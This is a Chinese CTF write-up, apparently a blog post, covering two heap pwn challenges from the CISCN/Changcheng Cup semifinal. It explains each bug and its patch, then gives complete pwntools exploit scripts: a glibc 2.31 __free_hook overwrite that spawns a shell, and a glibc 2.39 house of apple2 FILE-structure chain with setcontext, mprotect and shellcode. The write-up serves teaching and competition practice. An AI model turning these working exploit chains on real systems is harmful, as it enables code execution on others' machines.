[ciscn&长城杯半决赛] prompt和typo详解

typo

一道2.31的堆题

image

漏洞点位于edit功能,snprintf函数把用户输入作为format,导致了堆溢出以及格式化字符串漏洞

image

fix

从程序的代码不难看出分配出来的堆,前面八个字节是堆的size,后面的空间才是数据域

这里原意是修改heap的size,但是用错了函数,我们修改最大读入的size字节数为8,将snprintf函数nop掉修改为直接给heap->size赋值

这样即避免了堆溢出也不存在格式化字符串漏洞了

image

break

这里我用的是堆溢出的方法打的

def add(idx, size):
    sla(">> ", str(1))
    sla("Index: ", str(idx))
    sla("Size: ", str(size))

def free(idx):
    sla(">> ", str(2))
    sla("Index: ", str(idx))

def edit(idx, pay, cont):
    sla(">> ", str(3))
    sla("Index: ", str(idx))
    sla("size of content: ", pay)
    sa("you want to say: ", cont)

def quit():
    sla(">> ", str(4))

程序没有show功能,可以利用_IO_FILE来进行leak

首先我们利用chunk overlapping达到类似UAF的功能。即利用溢出覆写chunk的size域来实现堆块重叠

    for i in range(12):
        add(i, 0x80)

    payload = b"%136c"+ p64(0x511)
    edit(0, payload, "a")
    free(1)
    for i in range(12, 12+9):
        add(i, 0x80)

效果如下图

image

接着我们打house of hotcake,构造出unsortedbin和tcachebin重叠

    # chunk 20和chunk 9实际上是同一个chunk
    for i in range(12, 12+7):
        free(i)
    free(20)
    free(19)
    add(1, 0x80)
    free(9)

image

接下来通过分割unsortedbin使libc地址覆盖tcachebin的fd

	add(12, 0x40)
    add(13, 0x30)

image

通过溢出写heap 13的size,然后再溢出修改fd的低两字节,使其指向&_IO_2_1_stdout_ - 0x10的位置,因为低三位是固定的,所以这里爆破成功的概率是1/16

    edit(12, b'A'*0x50+p64(0x420), "aaaa")
    edit(13, b'A'*8, b'A'*0x38+b"\x90\x26")

然后修改_IO_2_1_stdout_结构体,泄露libc地址

    add(14, 0x80)
    add(15, 0x80)
    edit(15, b"A"*8, flat(0, 0xfbad1800,0,0,0)+b"\x00")
    ru(p64(0))
    libc.address = uu64() - 0x1ec980

最后劫持__free_hook为system函数,getshell

    edit(13, b"A"*8, b'A'*0x28+flat(0, 0x91))
    free(14)
    edit(13, b"A"*8 , b'A'*0x38+p64(libc.sym["__free_hook"]-8))
    add(16, 0x80)
    add(17, 0x80)
    edit(17, p64(libc.sym["system"]), p64(libc.sym["system"])*4)
    edit(10, b'A'*0x90 + b"/bin/sh\x00", "aaaa")
    free(11)
    ia()

exp

from pwn import *
import struct

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        
sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda 	:p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg = lambda s   :p.success('%s -> 0x%x' % (s, eval(s)))
lgn = lambda s, n   :p.success('%s -> 0x%x' % (s, n))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
libc = "./libc-2.31.so"

elf = ELF(file, False)
libc = ELF(libc, False)

def add(idx, size):
    sla(">> ", str(1))
    sla("Index: ", str(idx))
    sla("Size: ", str(size))

def free(idx):
    sla(">> ", str(2))
    sla("Index: ", str(idx))

def edit(idx, pay, cont):
    sla(">> ", str(3))
    sla("Index: ", str(idx))
    sla("size of content: ", pay)
    sa("you want to say: ", cont)

def quit():
    sla(">> ", str(4))

def pwn():
    global p
    p = process("./pwn")
    for i in range(12):
        add(i, 0x80)
    payload = b"%136c"+ p64(0x511)
    edit(0, payload, "a")
    stdout_offset = libc.sym["_IO_2_1_stdout_"] & 0xffff # 0xd6a0
    free(1)
    for i in range(12, 12+9):
        add(i, 0x80)

    for i in range(12, 12+7):
        free(i)
    free(20)
    free(19)
    add(1, 0x80)
    free(9)

    add(12, 0x40)
    add(13, 0x30)
    edit(12, b'A'*0x50+p64(0x420), "aaaa")
    edit(13, b'A'*8, b'A'*0x38+b"\x90\x26")
    add(14, 0x80)
    add(15, 0x80)
    edit(15, b"A"*8, flat(0, 0xfbad1800,0,0,0)+b"\x00")
    ru(p64(0))
    libc.address = uu64() - 0x1ec980
    
    edit(13, b"A"*8, b'A'*0x28+flat(0, 0x91))
    free(14)
    edit(13, b"A"*8 , b'A'*0x38+p64(libc.sym["__free_hook"]-8))
    add(16, 0x80)
    add(17, 0x80)
    edit(17, p64(libc.sym["system"]), p64(libc.sym["system"])*4)
    
    lgn("libc_base", libc.address)
    #debug("b free\n b malloc")
    #pause()
    edit(10, b'A'*0x90 + b"/bin/sh\x00", "aaaa")
    free(11)
    ia()

pwn()

prompt

proto文件还原

在我之前有篇文章有讲如何根据二进制C程序还原proto文件,这里再讲一次

首先IDA里面搜索常数0x28AAEEF9,这是Protobuf message描述符的magic number

image

可以知道该message的名称是HeapPayload,我们能在上面找到它的字段描述符

image

我们导入下面结构体到IDA structures,右键将unk_4B20转为结构体ProtobufCFieldDescriptor

一共是四个字段描述符

enum ProtobufCLabel
{
  PROTOBUF_C_LABEL_REQUIRED = 0x0,      ///< A well-formed message must have exactly one of this field.
  PROTOBUF_C_LABEL_OPTIONAL = 0x1,      ///< A well-formed message can have zero or one of this field (but not
                                        ///< more than one).
  PROTOBUF_C_LABEL_REPEATED = 0x2,      ///< This field can be repeated any number of times (including zero) in a
                                        ///< well-formed message. The order of the repeated values will be
                                        ///< preserved.
  PROTOBUF_C_LABEL_NONE = 0x3,          ///< This field has no label. This is valid only in proto3 and is
                                        ///< equivalent to OPTIONAL but no "has" quantifier will be consulted.
};

enum ProtobufCType
{
  PROTOBUF_C_TYPE_INT32 = 0x0,          ///< int32
  PROTOBUF_C_TYPE_SINT32 = 0x1,         ///< signed int32
  PROTOBUF_C_TYPE_SFIXED32 = 0x2,       ///< signed int32 (4 bytes)
  PROTOBUF_C_TYPE_INT64 = 0x3,          ///< int64
  PROTOBUF_C_TYPE_SINT64 = 0x4,         ///< signed int64
  PROTOBUF_C_TYPE_SFIXED64 = 0x5,       ///< signed int64 (8 bytes)
  PROTOBUF_C_TYPE_UINT32 = 0x6,         ///< unsigned int32
  PROTOBUF_C_TYPE_FIXED32 = 0x7,        ///< unsigned int32 (4 bytes)
  PROTOBUF_C_TYPE_UINT64 = 0x8,         ///< unsigned int64
  PROTOBUF_C_TYPE_FIXED64 = 0x9,        ///< unsigned int64 (8 bytes)
  PROTOBUF_C_TYPE_FLOAT = 0xA,          ///< float
  PROTOBUF_C_TYPE_DOUBLE = 0xB,         ///< double
  PROTOBUF_C_TYPE_BOOL = 0xC,           ///< boolean
  PROTOBUF_C_TYPE_ENUM = 0xD,           ///< enumerated type
  PROTOBUF_C_TYPE_STRING = 0xE,         ///< UTF-8 or ASCII string
  PROTOBUF_C_TYPE_BYTES = 0xF,          ///< arbitrary byte sequence
  PROTOBUF_C_TYPE_MESSAGE = 0x10,       ///< nested message
};

struct ProtobufCFieldDescriptor {
	/** Name of the field as given in the .proto file. */
	const char		*name;
	/** Tag value of the field as given in the .proto file. */
	uint32_t		id;
	/** Whether the field is `REQUIRED`, `OPTIONAL`, or `REPEATED`. */
	ProtobufCLabel		label;
	/** The type of the field. */
	ProtobufCType		type;
	/**
	 * The offset in bytes of the message's C structure's quantifier field
	 * (the `has_MEMBER` field for optional members or the `n_MEMBER` field
	 * for repeated members or the case enum for oneofs).
	 */
	unsigned		quantifier_offset;
	/**
	 * The offset in bytes into the message's C structure for the member
	 * itself.
	 */
	unsigned		offset;
	const void		*descriptor; /* for MESSAGE and ENUM types */
	/** The default value for this field, if defined. May be NULL. */
	const void		*default_value;
	uint32_t		flags;
	/** Reserved for future use. */
	unsigned		reserved_flags;
	/** Reserved for future use. */
	void			*reserved2;
	/** Reserved for future use. */
	void			*reserved3;
};

image

image

根据还原出来的字段描述符,我们可以得到如下proto文件(因为存在NONE标签,所以是proto3协议)

syntax = "proto3";

message HeapPayload {
    int32 option = 1;
    repeated int32 chunksize = 2;
    repeated int32 heap_chunks_id = 3;
    bytes heap_content = 4;
}

为了方便之后的逆向,我们输入protoc-c --c_out=. heap.proto来编译该proto文件,然后在heap.pb-c.h文件找到该message的C结构体(如下)并导入IDA

struct  HeapPayload
{
  ProtobufCMessage base;
  int32_t option;
  size_t n_chunksize;
  int32_t *chunksize;
  size_t n_heap_chunks_id;
  int32_t *heap_chunks_id;
  ProtobufCBinaryData heap_content;
};

struct ProtobufCBinaryData { // 这个结构体在protobuf-c项目里面有定义
	size_t	len;        /**< Number of bytes in the `data` field. */
	uint8_t	*data;      /**< Data bytes. */
};

至此,逆向protobuf部分的工作就完成了。可以看到还原的代码可读性已经不错了

image

fix

漏洞点:

edit函数没有对size进行判断导致堆溢出(红框处改成v4 <= sizes[v3]逻辑才合理)

image

但我的修复方案是直接把memcpy函数nop掉!

break

2.39的堆题,保护全开并且开了沙箱禁用execve调用

首先看程序读取输入的部分,这里有个细节:程序并不是直接读取原始的protobuf message,而是先读4个字节(message长度),再分配一段内存给message,之后unpack解析,解析完之后释放message

image

所以我们发送的数据应该是p32(长度)+序列化后的protobuf流(如下)

def add(size, cont = b'a'):
    heap = heap_pb2.HeapPayload()
    heap.option = 1
    heap.chunksize.append(size)
    heap.heap_content = cont
    buf = heap.SerializeToString()
    payload = p32(len(buf)) + buf
    sa("prompt >> ", payload)

题目的漏洞点很明显啊,edit白给的堆溢出。但是题目的堆风水有点乱,除一开始沙箱初始化外,protobuf_c_message_unpack和protobuf_c_message_free_unpacked这两个函数也会影响堆风水

不过问题不大,我的应对方法就是边调边打

首先tcache泄露堆地址

add(0x120)
add(0x120)
delete(1)
edit(0, 0x130, b'A'*0x130)
show(0)
ru("A"*0x130)
heapbase = (uheap() << 12) - 0x7000

然后申请一个大一点的堆块触发malloc_consolidate,然后利用相邻的smallbin泄露libc地址

add(0x420) # 1
edit(1, 0x430, b'A'*0x430)
show(1)
ru(b'A'*0x430)
libc.address = uu64() - 0x203dc0

之后在堆上伪造IO结构体,tcachebin attck修改_IO_list_all为伪造的IO_FILE来控制程序流

add(0x220, f_file) # 2
add(0x220, payload)
add(0x220)
add(0x220)
add(0x220)
add(0x220)
delete(6)
delete(5)
edit(4, 0x238, cyclic(0x220) + flat(0, 0x231, ((heapbase + 0x1000) >> 12) ^ libc.sym["_IO_list_all"]))

但要注意的是add分配堆块时,会先调用memset将数据写零,因为我申请的大小是0x220,会导致把与&_IO_list_all相邻的_IO_2_1_stdout_也覆盖,所以还要伪造一个合法的_IO_2_1_stdout_结构,否则在调用printf的时候程序会崩溃

image

这里打的是house of apple2_IO_wdefault_xsgetn那条利用链,具体可以看roderick师傅的文章

House of Apple 一种新的glibc中IO攻击方法 (2) - roderick - record and learn!

_IO_switch_to_wget_mode处劫持rdx寄存器然后执行setcontext+61

image

执行mprotect使heap段可执行,然后运行ORW shellcode

image

exp

from pwn import *
import struct

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda 	:p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
uheap   = lambda    :u64(p.recv(5).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
log = lambda s, n   :p.success('%s -> 0x%x' % (s, n))

context(arch = "amd64",os = "linux",log_level = "debug")
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
libc = "./libc.so.6"

import heap_pb2

p = process("./pwn")
elf = ELF(file, False)
libc = ELF(elf.libc.path, False)

def add(size, cont = b'a'):
    heap = heap_pb2.HeapPayload()
    heap.option = 1
    heap.chunksize.append(size)
    heap.heap_content = cont
    buf = heap.SerializeToString()
    payload = p32(len(buf)) + buf
    sa("prompt >> ", payload)

def delete(idx):
    heap = heap_pb2.HeapPayload()
    heap.option = 2
    heap.heap_chunks_id.append(idx)
    buf = heap.SerializeToString()
    payload = p32(len(buf)) + buf
    sa("prompt >> ", payload)

def edit(idx, size, cont):
    heap = heap_pb2.HeapPayload()
    heap.option = 3
    heap.chunksize.append(size)
    heap.heap_chunks_id.append(idx)
    heap.heap_content = cont
    buf = heap.SerializeToString()
    payload = p32(len(buf)) + buf
    sa("prompt >> ", payload)

def show(idx):
    heap = heap_pb2.HeapPayload()
    heap.option = 4
    heap.heap_chunks_id.append(idx)
    buf = heap.SerializeToString()
    payload = p32(len(buf)) + buf
    sa("prompt >> ", payload)

def quit():
    heap = heap_pb2.HeapPayload()
    heap.option = 5
    buf = heap.SerializeToString()
    payload = p32(len(buf)) + buf
    sa("prompt >> ", payload)

add(0x120)
add(0x120)
delete(1)
edit(0, 0x130, b'A'*0x130)
show(0)
ru("A"*0x130)
heapbase = (uheap() << 12) - 0x7000

add(0x420) # 1
edit(1, 0x430, b'A'*0x430)
show(1)
ru(b'A'*0x430)
libc.address = uu64() - 0x203dc0
edit(1, 0x430, b'A'*0x420 + p64(0) + p64(0x2b1))

file_addr = heapbase + 0x1570
IO_wide_data_addr = file_addr + 0x10
wide_vtable_addr = (file_addr + 0xd8 + 0x10) - 0x18
frame_addr = heapbase+0x2720
f_file=b""
f_file+=p64(0xfbad1880)
f_file+=p64(1) #_IO_read_ptr
f_file+=p64(0) #_IO_read_end
f_file+=p64(0) #_IO_read_base
f_file+=p64(0) #_IO_write_base
f_file+=p64(0) #_IO_write_ptr
f_file+=p64(frame_addr) #_IO_write_end
f_file+=p64(0) #_IO_buf_base
f_file+=p64(0) #_IO_buf_end usually _IO_buf_base+1
f_file+=p64(0)*4 #from _IO_save_base to _markers
f_file+=p64(0) #file chain ptr
f_file+=p32(2) #_fileno for stderr is 2
f_file+=p32(0) #_flags2 usually 0
f_file+=p64(0xffffffffffffffff) #_old_offset -1
f_file+=p16(0) #_cur_column
f_file+=b"\x00" #_vtable_offset
f_file+=b"\n" #_shortbuf[1]
f_file+=p32(0) #padding
f_file+=p64(libc.address + 0x205710) #_IO_stdfile_1_lock
f_file+=p64(0xffffffffffffffff) #_offset, -1
f_file+=p64(0) #_codecvt,usually 0
f_file+=p64(IO_wide_data_addr)#_IO_wide_data_1
f_file+=p64(0)*3 #from freeres_list to __pad5
f_file+=p32(1) #_mode,usually -1
f_file+=b"\x00"*19 #_unused2
f_file=f_file.ljust(0xd8,b"\x00")
f_file+=p64(libc.address+0x202658-0x18) # 
f_file+=p64(0)
f_file+=p64(libc.sym['setcontext']+61)
f_file+=p64(wide_vtable_addr)
f_file = f_file.ljust(0x100, b'\x00')

frame=SigreturnFrame()
frame.rdi=heapbase
frame.rsi=0x10000
frame.rdx=7
frame.rip=libc.sym['mprotect']
frame.rsp=frame_addr+0x100
frame=bytes(frame)
payload = frame.ljust(0x100, b'\x90') + flat(frame_addr+0x108) + asm(shellcraft.cat("/flag"))
add(0x220, f_file) # 2
add(0x220, payload)
add(0x220)
add(0x220)
add(0x220)
add(0x220)
delete(6)
delete(5)
edit(4, 0x238, cyclic(0x220) + flat(0, 0x231, ((heapbase + 0x1000) >> 12) ^ libc.sym["_IO_list_all"]))

fake_stdout = flat({
0:file_addr,
0x100: p64(0xFBAD2887)+p64(libc.sym["_IO_2_1_stdout_"]+131)*8+p64(0)*5+p32(1)+p32(0)+p64(0xffffffffffffffff)+p64(0)+p64(libc.address + 0x205710)+p64(0xffffffffffffffff)+p64(libc.address+0x2037e0)+p64(0)*3+p32(0xffffffff),
0x100+0xd8:p64(libc.sym["_IO_file_jumps"])
}, filler=b'\x00')

add(0x220, p64(file_addr))
add(0x220, fake_stdout)

log("heapbase", heapbase)
log("libcbase", libc.address)
log("frame_addr", frame_addr)
log("fake_io", file_addr)
#debug("b _IO_switch_to_wget_mode\nb *setcontext+61")
#pause()
quit()

ia()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值